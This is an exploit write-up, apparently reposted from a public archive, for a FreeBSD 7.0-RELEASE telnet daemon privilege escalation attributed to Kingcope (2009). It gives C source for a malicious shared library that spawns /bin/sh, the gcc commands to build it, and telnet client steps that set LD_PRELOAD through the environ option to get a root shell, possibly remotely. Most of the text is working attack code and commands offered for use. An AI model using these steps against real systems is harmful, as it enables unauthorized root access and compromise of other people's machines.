FreeBSD 7.0-RELEASE Telnet Daemon Local Privilege Escalation Exploit

Here comes the actual exploit which can be executed with standard UNIX tools.
Paste this into a file using your favorite text editor:
---snip-----
# FreeBSD telnetd local/remote privilege escalation/code execution
# remote root only when accessible ftp or similar available
# tested on FreeBSD 7.0-RELEASE
# by Kingcope/2009

#include
#include
#include
#include

void _init() {
FILE *f;
setenv("LD_PRELOAD", "", 1);
system("echo ALEX-ALEX;/bin/sh");
}
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Then we compile this stuff.

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#gcc -o program.o -c program.c -fPIC
#gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
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Then we copy the file to a known location (local root exploit)

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#cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
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...or we upload the library through any other available attack vector.
After that we telnet to the remote or local FreeBSD telnet daemon
with setting the LD_PRELOAD environment variable to the known location
as a telnet option before.

---snip-----
#telnet
>auth disable SRA
>environ define LD_PRELOAD /tmp/libno_ex.so.1.0
>open target
---snip-----
ALEX-ALEX
#ROOTSHELL

This will give us an immediate (probably remote) root shell.
This exploit is only verified on a FreeBSD 7.0-RELEASE fresh install
with telnetd enabled. Other version of FreeBSD may also be affected